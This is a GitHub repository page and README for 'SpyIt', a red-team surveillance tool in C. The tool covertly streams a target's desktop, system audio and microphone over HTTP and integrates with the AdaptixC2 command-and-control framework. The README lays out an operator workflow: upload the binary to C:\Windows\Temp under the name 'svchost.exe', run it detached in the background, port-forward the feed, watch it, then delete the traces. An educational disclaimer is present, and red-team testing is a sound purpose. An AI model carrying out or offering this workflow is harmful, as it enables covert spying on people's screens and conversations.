Skip to content

danieloz147/SpyIt

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

11 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

Warning

This project is intended strictly for educational purposes, security research, and personal investigation. The author does not support, promote, or condone any illegal, unethical, or malicious use of this software. You are solely responsible for how you use this project and for ensuring full compliance with all applicable laws and regulations.

πŸ•΅οΈ SpyIt

Real-time desktop surveillance over HTTP β€” zero dependencies, pure C, single binary.

Captures the target's screen via DXGI Desktop Duplication, encodes frames as JPEG, and streams them as MJPEG over a lightweight HTTP server. View the live feed from any browser. Built for red team ops with native AdaptixC2 integration β€” deploy, stream, watch, and clean up in seconds.

🎯 Drop it. Stream it. Watch it. Kill it.

πŸ“ Project Structure

SpyIt/
β”œβ”€β”€ Stream/
β”‚   └── C/
β”‚       β”œβ”€β”€ Stream.c              # Desktop capture + MJPEG HTTP server
β”‚       β”œβ”€β”€ stream.html           # Browser-based stream viewer
β”‚       β”œβ”€β”€ compile.bat           # Build Stream.exe (MSVC)
β”‚       └── enum-screens.axs      # AdaptixC2 AxScript automation
β”œβ”€β”€ Enum-Screens/
β”‚   β”œβ”€β”€ C/
β”‚   β”‚   β”œβ”€β”€ enumerate_screens.c   # Simple monitor enumeration
β”‚   β”‚   └── compile.bat
β”‚   └── BOF/
β”‚       β”œβ”€β”€ enumerate_screens.c   # BOF version (BeaconPrintf)
β”‚       β”œβ”€β”€ compile.bat
β”‚       β”œβ”€β”€ enum-screens.axs      # Adaptix command for BOF
β”‚       └── beacon.h
β”œβ”€β”€ .gitignore
└── README.md

🎬 Stream - Desktop Capture & Stream

Location: Stream/C/

Demo video: Resources/demo.mp4

Features

  • DXGI Desktop Duplication for low-overhead screen capture
  • WIC JPEG encoding β†’ MJPEG stream over HTTP
  • System audio + microphone streaming via WASAPI (WAV)
  • Audio device enumeration (render + capture)
  • Mouse cursor overlay (GDI)
  • Multi-monitor support with runtime screen switching
  • HTML viewer with screen selection, audio controls, record (WebM), and terminate
  • Runs in background (detached process) by default
  • Dynamic port via --port

How to build

cd "Stream\C"
compile.bat

How to run

Stream.exe                          # Default port 40484, background
Stream.exe --port 8882              # Custom port, background
Stream.exe --port 8882 --no-detach  # Custom port, keep console
Stream.exe --logs-enable            # Enable logging to stream.log

How to view

Open stream.html in a browser with the port as query parameter:

stream.html?port=40484

Or navigate directly to:

http://127.0.0.1:40484/

The HTML viewer includes audio device selection, play/stop, mute, and recording with audio.

HTTP Endpoints

Endpoint Description
/ MJPEG video stream
/audio/devices JSON array of audio devices (render + capture)
`/audio?device=&type=render capture`
/screens.js JSONP - number of available screens
/switch.js?screen=N JSONP - switch to screen N
/terminate.js JSONP - stop the server

Dependencies (MSVC)

user32.lib gdi32.lib dxgi.lib d3d11.lib windowscodecs.lib ws2_32.lib ole32.lib oleaut32.lib propsys.lib


πŸ€– AdaptixC2 Integration

Extension file: Stream/C/enum-screens.axs

Load the script in AdaptixC2 via AxScript β†’ Script Manager, then use the following commands in any beacon console:

Commands

Command Description
spyit-check Verify Stream.exe and stream.html exist locally
spyit-upload <filename> Upload Stream.exe to C:\Windows\Temp\<filename> on target
spyit-start <filename> <port> Run SpyIt on target with the given port
spyit-connect <remote_port> [local_port] Create local port forward (server β†’ target)
spyit-watch <local_port> Copy stream viewer URL to clipboard
spyit-terminate <filename> <port> Kill process, stop port forward, delete file

Typical Workflow

spyit-check
spyit-upload svchost.exe
spyit-start svchost.exe 40484
spyit-connect 40484
spyit-watch 40484

Then paste the URL from clipboard into your browser.

When done:

spyit-terminate svchost.exe 40484

πŸ“– Enum-Screens - BOF Learning Path

Location: Enum-Screens/

A step-by-step guide to building a Beacon Object File that enumerates display monitors.

Simple C Program

Enum-Screens/C/

Standalone EXE that uses EnumDisplayMonitors() and GetMonitorInfo() to list all monitors with resolution and position.

cd "Enum-Screens\C"
compile.bat
enumerate_screens.exe

BOF Conversion

Enum-Screens/BOF/

BOF version using BeaconPrintf for output. Builds x64/x86 object files. Load enum-screens.axs in AdaptixC2, then run:

enum-screens

πŸ› οΈ Requirements

  • Visual Studio 2017+ Build Tools (MSVC)
  • Windows 10/11 SDK
  • Windows target with Desktop Duplication support (Windows 8+)

πŸ“š References

About

πŸ•΅οΈ Real-time desktop surveillance over HTTP - DXGI capture, MJPEG stream, single C binary, zero dependencies. Built for red teams with native AdaptixC2 integration. Drop it. Stream it. Watch it. Kill it.

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors